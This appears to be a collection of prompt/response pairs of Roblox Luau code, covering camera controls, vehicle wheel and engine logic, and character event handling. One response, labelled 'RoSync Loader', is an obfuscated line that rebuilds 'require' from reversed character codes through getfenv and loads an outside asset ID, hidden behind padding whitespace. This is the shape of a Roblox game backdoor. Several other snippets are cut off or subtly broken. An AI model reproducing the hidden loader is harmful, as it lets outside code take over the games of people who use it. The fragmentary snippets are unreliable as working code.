Prompt: -- Reset the camera look vector when the camera is enabled for the first time

Response:
local SetCameraOnSpawn = true

local UseRenderCFrame = false
pcall(function()
	local rc = Instance.new('Part'):GetRenderCFrame()
	UseRenderCFrame = (rc ~= nil)
end)

local function GetRenderCFrame(part)
	return UseRenderCFrame and part:GetRenderCFrame() or part.CFrame
end

local function CreateCamera()
	local this = {}

	this.ShiftLock = false
	this.Enabled = false
	local pinchZoomSpeed = 20
	local isFirstPerson = false
	local isRightMouseDown = false
	this.RotateInput = Vector2.new()

	function this:GetShiftLock()
		return ShiftLockController:IsShiftLocked()
	end

	function this:GetHumanoid()
		local player = PlayersService.LocalPlayer
		return findPlayerHumanoid(player)
	end

	function this:GetHumanoidRootPart()
		local humanoid = this:GetHumanoid()
		return humanoid and humanoid.Torso
	end

	function this:GetRenderCFrame(part)
		GetRenderCFrame(part)
	end

	function this:GetSubjectPosition()
		local result = nil
		local camera = workspace.CurrentCamera
		local cameraSubject = camera and camera.CameraSubject
		if cameraSubject then
			if cameraSubject:IsA('VehicleSeat') then
				local subjectCFrame = GetRenderCFrame(cameraSubject)
				result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(SEAT_OFFSET)
			elseif cameraSubject:IsA('SkateboardPlatform') then
				local subjectCFrame = GetRenderCFrame(cameraSubject)
				result = subjectCFrame.p + SEAT_OFFSET
			elseif cameraSubject:IsA('BasePart') then
				local subjectCFrame = GetRenderCFrame(cameraSubject)
				result = subjectCFrame.p
			elseif cameraSubject:IsA('Model') then
				result = cameraSubject:GetModelCFrame().p
			elseif cameraSubject:IsA('Humanoid') then
				local humanoidRootPart = cameraSubject.Torso
				if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
					local subjectCFrame = GetRenderCFrame(humanoidRootPart)
					result = subjectCFrame.p +
						subjectCFrame:vectorToWorldSpace(HEAD_OFFSET + cameraSubject.CameraOffset)
				end
			end
		end
		return result
	end

	function this:ResetCameraLook()
	end

	function this:GetCameraLook()
		return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
	end

	function this:GetCameraZoom()
		if this.currentZoom == nil then
			local player = PlayersService.LocalPlayer
			this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, 10) or 10
		end
		return this.currentZoom
	end

	function this:GetCameraActualZoom()
		local camera = workspace.CurrentCamera
		if camera then
			return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
		end
	end

	function this:ViewSizeX()
		local result = 1024
		local player = PlayersService.LocalPlayer
		local mouse = player and player:GetMouse()
		if mouse then
			result = mouse.ViewSizeX
		end
		return result
	end

	function this:ViewSizeY()
		local result = 768
		local player = PlayersService.LocalPlayer
		local mouse = player and player:GetMouse()
		if mouse then
			result = mouse.ViewSizeY
		end
		return result
	end

	function this:ScreenTranslationToAngle(translationVector)
		local screenX = this:ViewSizeX()
		local screenY = this:ViewSizeY()
		local xTheta = (translationVector.x / screenX)
		local yTheta = (translationVector.y / screenY)
		return Vector2.new(xTheta, yTheta)
	end

	function this:MouseTranslationToAngle(translationVector)
		local xTheta = (translationVector.x / 1920)
		local yTheta = (translationVector.y / 1200)
		return Vector2.new(xTheta, yTheta)
	end

	function this:RotateCamera(startLook, xyRotateVector)
		-- Could cache these values so we don't have to recalc them all the time
		local startCFrame = CFrame.new(Vector3.new(), startLook)
		local startVertical = math.asin(startLook.y)
		local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
		local resultLookVector = (CFrame.Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame.Angles(-yTheta,0,0)).lookVector
		return resultLookVector, Vector2.new(xyRotateVector.x, yTheta)
	end

	function this:IsInFirstPerson()
		return isFirstPerson
	end

	-- there are several cases to consider based on the state of input and camera rotation mode
	function this:UpdateMouseBehavior()
		-- first time transition to first person mode or shiftlock
		if isFirstPerson or self:GetShiftLock() then
			if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
				pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
				UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
			end
		else
			pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
			if isRightMouseDown then
				UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
			else
				UserInputService.MouseBehavior = Enum.MouseBehavior.Default
			end
		end
	end

	function this:ZoomCamera(desiredZoom)
		local player = PlayersService.LocalPlayer
		if player then
			if player.CameraMode == Enum.CameraMode.LockFirstPerson then
				this.currentZoom = 0
			else
				this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
			end
		end

		isFirstPerson = self:GetCameraZoom() < 2

		ShiftLockController:SetIsInFirstPerson(isFirstPerson)
		-- set mouse behavior
		self:UpdateMouseBehavior()
		return self:GetCameraZoom()
	end

	local function rk4Integrator(position, velocity, t)
		local direction = velocity < 0 and -1 or 1
		local function acceleration(p, v)
			local accel = direction * math.max(1, (p / 3.3) + 0.5)
			return accel
		end

		local p1 = position
		local v1 = velocity
		local a1 = acceleration(p1, v1)
		local p2 = p1 + v1 * (t / 2)
		local v2 = v1 + a1 * (t / 2)
		local a2 = acceleration(p2, v2)
		local p3 = p1 + v2 * (t / 2)
		local v3 = v1 + a2 * (t / 2)
		local a3 = acceleration(p3, v3)
		local p4 = p1 + v3 * t
		local v4 = v1 + a3 * t
		local a4 = acceleration(p4, v4)

		local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
		local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
		return positionResult, velocityResult
	end

	function this:ZoomCameraBy(zoomScale)
		local zoom = this:GetCameraActualZoom()
		if zoom then
			-- Can break into more steps to get more accurate integration
			zoom = rk4Integrator(zoom, zoomScale, 1)
			self:ZoomCamera(zoom)
		end
		return self:GetCameraZoom()
	end

	function this:ZoomCameraFixedBy(zoomIncrement)
		return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
	end

	function this:Update()
	end

	---- Input Events ----
	local startPos = nil
	local lastPos = nil
	local panBeginLook = nil

	local fingerTouches = {}
	local NumUnsunkTouches = 0

	local StartingDiff = nil
	local pinchBeginZoom = nil

	this.ZoomEnabled = true
	this.PanEnabled = true
	this.KeyPanEnabled = true

	local function OnTouchBegan(input, processed)
		fingerTouches[input] = processed
		if not processed then
			NumUnsunkTouches = NumUnsunkTouches + 1
		end
	end

	local function OnTouchChanged(input, processed)
		if fingerTouches[input] == nil then
			fingerTouches[input] = processed
			if not processed then
				NumUnsunkTouches = NumUnsunkTouches + 1
			end
		end

		if NumUnsunkTouches == 1 then
			if fingerTouches[input] == false then
				panBeginLook = panBeginLook or this:GetCameraLook()
				startPos = startPos or input.Position
				lastPos = lastPos or startPos
				this.UserPanningTheCamera = true

				local delta = input.Position - lastPos
				if this.PanEnabled then
					local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
					this.RotateInput = this.RotateInput + desiredXYVector
				end

				lastPos = input.Position
			end
		else
			panBeginLook = nil
			startPos = nil
			lastPos = nil
			this.UserPanningTheCamera = false
		end
		if NumUnsunkTouches == 2 then
			local unsunkTouches = {}
			for touch, wasSunk in pairs(fingerTouches) do
				if not wasSunk then
					table.insert(unsunkTouches, touch)
				end
			end
			if #unsunkTouches == 2 then
				local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
				if StartingDiff and pinchBeginZoom then
					local scale = difference / math.max(0.01, StartingDiff)
					local clampedScale = clamp(0.1, 10, scale)
					if this.ZoomEnabled then
						this:ZoomCamera(pinchBeginZoom / clampedScale)
					end
				else
					StartingDiff = difference
					pinchBeginZoom = this:GetCameraActualZoom()
				end
			end
		else
			StartingDiff = nil
			pinchBeginZoom = nil
		end
	end

	local function OnTouchEnded(input, processed)
		if fingerTouches[input] == false then
			if NumUnsunkTouches == 1 then
				panBeginLook = nil
				startPos = nil
				lastPos = nil
				this.UserPanningTheCamera = false
			elseif NumUnsunkTouches == 2 then
				StartingDiff = nil
				pinchBeginZoom = nil
			end
		end

		if fingerTouches[input] ~= nil and fingerTouches[input] == false then
			NumUnsunkTouches = NumUnsunkTouches - 1
		end
		fingerTouches[input] = nil
	end

	local function OnMouse2Down(input, processed)
		if processed then return end
		isRightMouseDown = true
		this:UpdateMouseBehavior()
		panBeginLook = this:GetCameraLook()
		startPos = input.Position
		lastPos = startPos
		this.UserPanningTheCamera = true
	end

	local function OnMouse2Up(input, processed)
		isRightMouseDown = false
		this:UpdateMouseBehavior()
		panBeginLook = nil
		startPos = nil
		lastPos = nil
		this.UserPanningTheCamera = false
	end

	local function OnMouseMoved(input, processed)
		if startPos and lastPos and panBeginLook then
			local currPos = lastPos + input.Delta
			local totalTrans = currPos - startPos
			if this.PanEnabled then
				local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY
				this.RotateInput = this.RotateInput + desiredXYVector
			end
			lastPos = currPos
		elseif this:IsInFirstPerson() or this:GetShiftLock() then
			if this.PanEnabled then
				local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * MOUSE_SENSITIVITY
				this.RotateInput = this.RotateInput + desiredXYVector
			end
		end
	end

	local function OnMouseWheel(input, processed)
		if not processed then
			if this.ZoomEnabled then
				this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
			end
		end
	end

	local function round(num)
		return math.floor(num + 0.5)
	end

	local eight2Pi = math.pi / 4

	local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
		if camLook ~= Vector3.new(0,0,0) then
			camLook = camLook.unit
			local currAngle = math.atan2(camLook.z, camLook.x)
			local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
			return newAngle - currAngle
		end
		return 0
	end

	local function OnKeyDown(input, processed)
		if processed then return end
		if this.ZoomEnabled then
			if input.KeyCode == Enum.KeyCode.I then
				this:ZoomCameraBy(-5)
			elseif input.KeyCode == Enum.KeyCode.O then
				this:ZoomCameraBy(5)
			end
		end
		if panBeginLook == nil and this.KeyPanEnabled then
			if input.KeyCode == Enum.KeyCode.Left then
				this.TurningLeft = true
			elseif input.KeyCode == Enum.KeyCode.Right then
				this.TurningRight = true
			elseif input.KeyCode == Enum.KeyCode.Comma then
				local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
				if angle ~= 0 then
					this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
					this.LastUserPanCamera = tick()
					this.LastCameraTransform = nil
				end
			elseif input.KeyCode == Enum.KeyCode.Period then
				local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
				if angle ~= 0 then
					this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
					this.LastUserPanCamera = tick()
					this.LastCameraTransform = nil
				end
			elseif input.KeyCode == Enum.KeyCode.PageUp then
			--elseif input.KeyCode == Enum.KeyCode.Home then
				this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
				this.LastCameraTransform = nil
			elseif input.KeyCode == Enum.KeyCode.PageDown then
			--elseif input.KeyCode == Enum.KeyCode.End then
				this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
				this.LastCameraTransform = nil
			end
		end
	end

	local function OnKeyUp(input, processed)
		if input.KeyCode == Enum.KeyCode.Left then
			this.TurningLeft = false
		elseif input.KeyCode == Enum.KeyCode.Right then
			this.TurningRight = false
		end
	end

	local lastThumbstickRotate = nil
	local numOfSeconds = 0.7
	local currentSpeed = 0
	local maxSpeed = 0.1
	local thumbstickSensitivity = 1.0
	local lastThumbstickPos = Vector2.new(0,0)
	local ySensitivity = 0.65
	local lastVelocity = nil

	-- K is a tunable parameter that changes the shape of the S-curve
	-- the larger K is the more straight/linear the curve gets
	local k = 0.35
	local lowerK = 0.8
	local function SCurveTranform(t)
		t = clamp(-1,1,t)
		if t >= 0 then
			return (k*t) / (k - t + 1)
		end
		return -((lowerK*-t) / (lowerK + t + 1))
	end

	-- DEADZONE
	local DEADZONE = 0.1
	local function toSCurveSpace(t)
		return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
	end

	local function fromSCurveSpace(t)
		return t/2 + 0.5
	end

	local function gamepadLinearToCurve(thumbstickPosition)
		local function onAxis(axisValue)
			local sign = 1
			if axisValue < 0 then
				sign = -1
			end
			local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
			point = point * sign
			return clamp(-1,1,point)
		end
		return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
	end

	function this:UpdateGamepad()
		local gamepadPan = this.GamepadPanningCamera
		if gamepadPan then
			gamepadPan = gamepadLinearToCurve(gamepadPan)
			local currentTime = tick()
			if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
				this.userPanningTheCamera = true
			elseif gamepadPan == Vector2.new(0,0) then
				lastThumbstickRotate = nil
				if lastThumbstickPos == Vector2.new(0,0) then
					currentSpeed = 0
				end
			end

			local finalConstant = 0

			if lastThumbstickRotate then
				local elapsedTime = (currentTime - lastThumbstickRotate) * 10
				currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))

				if currentSpeed > maxSpeed then currentSpeed = maxSpeed end

				if lastVelocity then
					local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
					local velocityDeltaMag = (velocity - lastVelocity).magnitude

					if velocityDeltaMag > 12 then
						currentSpeed = currentSpeed * (20/velocityDeltaMag)
						if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
					end
				end

				finalConstant = thumbstickSensitivity * currentSpeed
				lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
			end

			lastThumbstickPos = gamepadPan
			lastThumbstickRotate = currentTime

			return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity)
		end

		return Vector2.new(0,0)
	end

	local InputBeganConn, InputChangedConn, InputEndedConn, ShiftLockToggleConn = nil, nil, nil, nil

	function this:DisconnectInputEvents()
		if InputBeganConn then
			InputBeganConn:disconnect()
			InputBeganConn = nil
		end
		if InputChangedConn then
			InputChangedConn:disconnect()
			InputChangedConn = nil
		end
		if InputEndedConn then
			InputEndedConn:disconnect()
			InputEndedConn = nil
		end
		if ShiftLockToggleConn then
			ShiftLockToggleConn:disconnect()
			ShiftLockToggleConn = nil
		end
		this.TurningLeft = false
		this.TurningRight = false
		this.LastCameraTransform = nil
		self.LastSubjectCFrame = nil
		this.UserPanningTheCamera = false
		this.RotateInput = Vector2.new()
		this.GamepadPanningCamera = Vector2.new(0,0)

		-- Reset input states
		startPos = nil
		lastPos = nil
		panBeginLook = nil
		isRightMouseDown = false

		fingerTouches = {}
		NumUnsunkTouches = 0

		StartingDiff = nil
		pinchBeginZoom = nil

		-- Unlock mouse for example if right mouse button was being held down
		if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
			UserInputService.MouseBehavior = Enum.MouseBehavior.Default
		end
	end

	function this:ConnectInputEvents()
		InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
				OnTouchBegan(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then
				OnMouse2Down(input, processed)
			end
			-- Keyboard
			if input.UserInputType == Enum.UserInputType.Keyboard then
				OnKeyDown(input, processed)
			end
		end)

		InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
				OnTouchChanged(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseMovement and not IsTouch then
				OnMouseMoved(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseWheel and not IsTouch then
				OnMouseWheel(input, processed)
			end
		end)

		InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
				OnTouchEnded(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton2 and not IsTouch then
				OnMouse2Up(input, processed)
			end
			-- Keyboard
			if input.UserInputType == Enum.UserInputType.Keyboard then
				OnKeyUp(input, processed)
			end
		end)

		ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
			this:UpdateMouseBehavior()
		end)

		this.RotateInput = Vector2.new()

		local getGamepadPan = function(name, state, input)
			if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.Thumbstick2 then

				if state == Enum.UserInputState.Cancel then
					this.GamepadPanningCamera = Vector2.new(0,0)
					return
				end

				local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
				if inputVector.magnitude > 0.1 then
					this.GamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)
				else
					this.GamepadPanningCamera = Vector2.new(0,0)
				end
			end
		end

		local doGamepadZoom = function(name, state, input)
			if input.UserInputType == Enum.UserInputType.Gamepad1 and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
				if this.currentZoom > 0.5 then
					this:ZoomCamera(0)
				else
					this:ZoomCamera(10)
				end
			end
		end

		game.ContextActionService:BindAction("RootCamGamepadPan", getGamepadPan, false, Enum.KeyCode.Thumbstick2)
		game.ContextActionService:BindAction("RootCamGamepadZoom", doGamepadZoom, false, Enum.KeyCode.ButtonR3)

		-- set mouse behavior
		self:UpdateMouseBehavior()
	end

	function this:SetEnabled(newState)
		if newState ~= self.Enabled then
			self.Enabled = newState
			if self.Enabled then
				self:ConnectInputEvents()
			else
				self:DisconnectInputEvents()
			end
		end
	end

	local function OnPlayerAdded(player)
		player.Changed:connect(function(prop)
			if this.Enabled then
				if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
					 this:ZoomCameraFixedBy(0)
				end
			end
		end)

		local function OnCharacterAdded(newCharacter)
			this:ZoomCamera(12.5)
			local humanoid = findPlayerHumanoid(player)
			local start = tick()
			while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
				wait()
				humanoid = findPlayerHumanoid(player)
			end
			local function setLookBehindChatacter()
				if humanoid and humanoid.Torso and player.Character == newCharacter then
					local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
					local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
					local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
					if not IsFinite(horizontalShift) then
						horizontalShift = 0
					end
					if not IsFinite(vertShift) then
						vertShift = 0
					end
					this.RotateInput = Vector2.new(horizontalShift, vertShift)

					-- reset old camera info so follow cam doesn't rotate us
					this.LastCameraTransform = nil
				end
			end
			wait()
			setLookBehindChatacter()
		end

		player.CharacterAdded:connect(function(character)
			if this.Enabled or SetCameraOnSpawn then
				OnCharacterAdded(character)
				SetCameraOnSpawn = false
			end
		end)
		if player.Character then
			spawn(function() OnCharacterAdded(player.Character) end)
		end
	end
	if PlayersService.LocalPlayer then
		OnPlayerAdded(PlayersService.LocalPlayer)
	end
	PlayersService.ChildAdded:connect(function(child)
		if child and PlayersService.LocalPlayer == child then
			OnPlayerAdded(PlayersService.LocalPlayer)
		end
	end)

	return this
end

return CreateCamera


Prompt: --SSMR.Rotation = SSMR.Rotation + Vector3.new(23,40,66)

Response:
SSMR.Name = "MR"
SSMR.Transparency = 1
SSMR.CFrame = FR.CFrame
SSMR.Attachment.Rotation = Vector3.new(0,0,90)

local SSL = SSML:Clone()
SSL.Parent = script.Parent.Parent.Parent.LW
SSL.Attachment.Rotation = Vector3.new(0,0,90)
SSL.CFrame = SSML.CFrame

local xSSL = SSML:Clone()
xSSL.Parent = script.Parent.Parent.Parent.LW
xSSL.Rotation = xSSL.Rotation + Vector3.new(0,0,-90)
xSSL.Name = "WheelML"
xSSL.CFrame = SSML.CFrame
xSSL.Attachment.Rotation = Vector3.new(0,0,0)

local SSR = SSMR:Clone()
SSR.Parent = script.Parent.Parent.Parent.RW
SSR.Attachment.Rotation = Vector3.new(0,0,90)
SSR.CFrame = SSMR.CFrame

local xSSR = SSMR:Clone()
xSSR.Parent = script.Parent.Parent.Parent.RW
xSSR.Name = "WheelMR"
xSSR.CFrame = SSMR.CFrame
xSSR.Attachment.Rotation = Vector3.new(0,0,0)

local RLSS = Instance.new("HingeConstraint",SSMR)
local LLSS = Instance.new("HingeConstraint",SSML)

RLSS.Attachment0 = SSR.Attachment
RLSS.Attachment1 = SSMR.Attachment
LLSS.Attachment0 = SSL.Attachment
LLSS.Attachment1 = SSML.Attachment


Prompt: --[[ Last synced 4/6/2021 12:02                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: -- handles all the events incoming from the client

Response:
local keyModule = require(script.Parent:WaitForChild("Game Logic").KeyModule)

local function cleanupCharacter(char)

    -- drop the tools in the spot
    if char:FindFirstChild("HumanoidRootPart") then
        keyModule.DropTools(player,game.Workspace.Map,char.HumanoidRootPart.Position)
        print("Tools Dropped")
    end

    -- remove the tag from their player
    if player:FindFirstChild("Contestant") then
        player.Contestant:Destroy()
        print ("contestant tag dropped")
    elseif player:FindFirstChild("Piggy") then
        player.Piggy:Destroy()
        print ("piggy tag dropped")
    end
end

local function onCharacterAdded(char)
    -- drop all the tools that the player is holding
    char.Humanoid.Died:Connect(cleanupCharacter)

end

local function onPlayerAdded(player)
        -- add a tag to players when joining the game; this tag is removed when players click on 'play'
        -- prevents AFK players from joining the game
        local inMenu = Instance.new("BoolValue")
        inMenu.Name = "InMenu"
        inMenu.Parent = player

        -- this function fires when the character spawns into the game (i.e. after the die / reset their character
        player.CharacterAdded:Connect(onCharacterAdded)
end


Prompt: -- Objects

Response:
local settingsDir = script.Settings

function getSetting (name)
	return settingsDir and settingsDir:FindFirstChild(name) and settingsDir[name].Value
end


Prompt: -- fallback to defaults

Response:
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight


Prompt: --Apply Power

Response:
function Engine(dt)
	local deltaTime = (60/(1/dt))
	--Determine Clutch Slip
	if _TMode~="Manual" and _Tune.SlipClutch then
		if _Tune.ABS and _ABS then
			if _SlipCount >= _Tune.SlipABSThres then _ClutchSlip = true else _ClutchSlip = false end
		else
			if tick()-bticc >= _Tune.SlipTimeThres then _ClutchSlip = true else _ClutchSlip = false end
		end
	else
		_ClutchSlip = false
	end

	--Neutral Gear
	if ((_CGear == 0 or _Shifting) and _IsOn) then
		_ClPressing = true
		_Clutch = 1
		_StallOK = false
	end

	local revMin = _Tune.IdleRPM
	local goalMin = _Tune.IdleRPM
	if _Tune.Stall and _Tune.Clutch then revMin = 0 end

	if _Shifting and _ShiftUp then
		_GThrot = 0
	elseif _Shifting and _ShiftDn then
		_GThrot = (_Tune.ShiftThrot/100)
	else
		_GThrot = _InThrot
	end
	_GBrake = _InBrake

	if not _IsOn then
		ticc = tick()
		revMin = 0
		goalMin = 0
		_GThrot = _Tune.IdleThrottle/100
		if _TMode~="Manual" then
			_CGear = 0
			_ClPressing = true
			_Clutch = 1
		end
	end

	--Determine RPM
	local maxSpin=0
	if Rear.Wheel.RotVelocity.Magnitude>maxSpin then maxSpin = Rear.Wheel.RotVelocity.Magnitude end
	local _GoalRPM=0

	if _Tune.Engine or _Tune.Electric then
		_GoalRPM = math.max(math.min((_RPM-_Tune.RevDecay*deltaTime)+((_Tune.RevDecay+_Tune.RevAccel)*_GThrot*deltaTime),_Tune.Redline+100),goalMin)
	end

	if _GoalRPM>_Tune.Redline then
		if _CGear<#_Tune.Ratios-2 then
			_GoalRPM = _GoalRPM-_Tune.RevBounce
		else
			_GoalRPM = _GoalRPM-_Tune.RevBounce*.5
		end
	end

	local _WheelRPM = maxSpin*_Tune.Ratios[_CGear+1]*fFDr

	--Clutch Calculation
	if _Tune.Clutch then
		if script.Parent.Values.AutoClutch.Value and _IsOn then
			if _Tune.ClutchType == "Clutch" then
				if _ClPressing or _ClutchSlip then _ClutchKick = 1 end
				_ClutchKick = _ClutchKick*(_Tune.ClutchEngage/100)
				local ClRPMInfluence = math.max((_RPM-_Tune.IdleRPM)*_Tune.ClutchRPMMult/(_Tune.Redline-_Tune.IdleRPM),0)
				if _Tune.ClutchMode == "New" then ClRPMInfluence = 0 end
				_ClutchModulate = math.min(((((script.Parent.Values.Velocity.Value.Magnitude/_Tune.SpeedEngage)/math.abs(_CGear)) + ClRPMInfluence) - _ClutchKick), 1)
			elseif _Tune.ClutchType == "CVT" or (_Tune.ClutchType == "TorqueConverter" and _Tune.TQLock) then
				if (_GThrot-(_Tune.IdleThrottle/100)==0 and script.Parent.Values.Velocity.Value.Magnitude<_Tune.SpeedEngage) or (_GThrot-(_Tune.IdleThrottle/100)~=0 and (_RPM < _Tune.RPMEngage and _WheelRPM < _Tune.RPMEngage)) then
					_ClutchModulate = math.min(_ClutchModulate*(_Tune.ClutchEngage/100), 1)
				else
					_ClutchModulate = math.min(_ClutchModulate*(_Tune.ClutchEngage/100)+(1-(_Tune.ClutchEngage/100)), 1)
				end
			elseif _Tune.ClutchType == "TorqueConverter" and not _Tune.TQLock then
				_ClutchModulate = math.min((_RPM/_Tune.Redline)*0.7, 1)
			end
			if not _ClPressing and not _ClutchSlip then _Clutch = math.min(1-_ClutchModulate,1) else _Clutch = 1 end
			_StallOK = (_Clutch<=0.01) or _StallOK
		else
			_StallOK = _Tune.Stall
			_Clutch = script.Parent.Values.Clutch.Value
		end
	else
		_StallOK = false
		if (not _ClPressing and not _ClutchSlip) and not _Shifting then _Clutch = 0 else _Clutch = 1 end
	end

	local aRPM = math.max(math.min((_GoalRPM*_Clutch) + (_WheelRPM*(1-_Clutch)),_Tune.Redline+100),revMin)
	local clutchP = math.min(math.abs(aRPM-_RPM)/(_Tune.Flywheel*deltaTime),.9)
	if _ClPressing or _ClutchSlip then clutchP = 0 end
	_RPM = _RPM*clutchP  +  aRPM*(1-clutchP)

	if _RPM<=(_Tune.IdleRPM/4) and _StallOK and (tick()-ticc>=0.2) then script.Parent.IsOn.Value = not _Tune.Stall end

	--Rev Limiter
	_spLimit = -((_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+1]))
	if _Tune.Limiter then _spLimit = math.min(_spLimit,-_Tune.SpeedLimit) end
	if _RPM>_Tune.Redline then
		if _CGear<#_Tune.Ratios-2 then
			_RPM = _RPM-_Tune.RevBounce
		else
			_RPM = _RPM-_Tune.RevBounce*.5
		end
	end

	--Aspiration
	local TPsi = _TPsi/_TCount

	local _BThrot = _GThrot

	if _Tune.Engine then
		if _TCount~=0 then
			_TBoost = _TBoost + ((((((_HP*(_BThrot*1.2)/_Tune.Horsepower)/8)-(((_TBoost/TPsi*(TPsi/15)))))*((8/(_Tune.T_Size/(deltaTime)))*2))/TPsi)*15)
			if _TBoost < 0.05 then _TBoost = 0.05 elseif _TBoost > 2 then _TBoost = 2 end
		else
			_TBoost = 0
		end
		if _SCount~=0 then
			if _BThrot>sthrot then
				sthrot=math.min(_BThrot,sthrot+_Tune.S_Sensitivity*deltaTime)
			elseif _BThrot<sthrot then
				sthrot=math.max(_BThrot,sthrot-_Tune.S_Sensitivity*deltaTime)
			end
			_SBoost = (_RPM/_Tune.Redline)*(.5+(1.5*sthrot))
		else
			_SBoost = 0
		end
	else
		_TBoost = 0
		_SBoost = 0
	end

	--Torque calculations
	if _Tune.Engine then
		local cTq = NCache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(0,_RPM))/100)]
		_NH = cTq.Horsepower+(cTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1))
		_NT = cTq.Torque+(cTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1))
		if _TCount~=0 then
			local tTq = TCache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(0,_RPM))/100)]
			_TH = (tTq.Horsepower+(tTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_TBoost/2)
			_TT = (tTq.Torque+(tTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_TBoost/2)
		else
			_TH,_TT = 0,0
		end
		if _SCount~=0 then
			local sTq = SCache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(0,_RPM))/100)]
			_SH = (sTq.Horsepower+(sTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_SBoost/2)
			_ST = (sTq.Torque+(sTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_SBoost/2)
		else
			_SH,_ST = 0,0
		end
		_BH = _TH+_SH
		_BT = _TT+_ST
	else
		_NH,_NT = 0,0
		_TH,_TT = 0,0
		_SH,_ST = 0,0
		_BH,_BT = 0,0
	end

	if _Tune.Electric and _CGear~=0 then
		local eTq = ECache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(100,_RPM))/100)]
		_EH = eTq.Horsepower+(eTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1))
		_ET = eTq.Torque+(eTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1))
	else
		_EH,_ET = 0,0
	end

	_HP = _NH + _BH + _EH
	_OutTorque = _NT + _BT + _ET

	local iComp =(bike.DriveSeat.CFrame.lookVector.y)*cGrav
	if _CGear==-1 then iComp=-iComp end
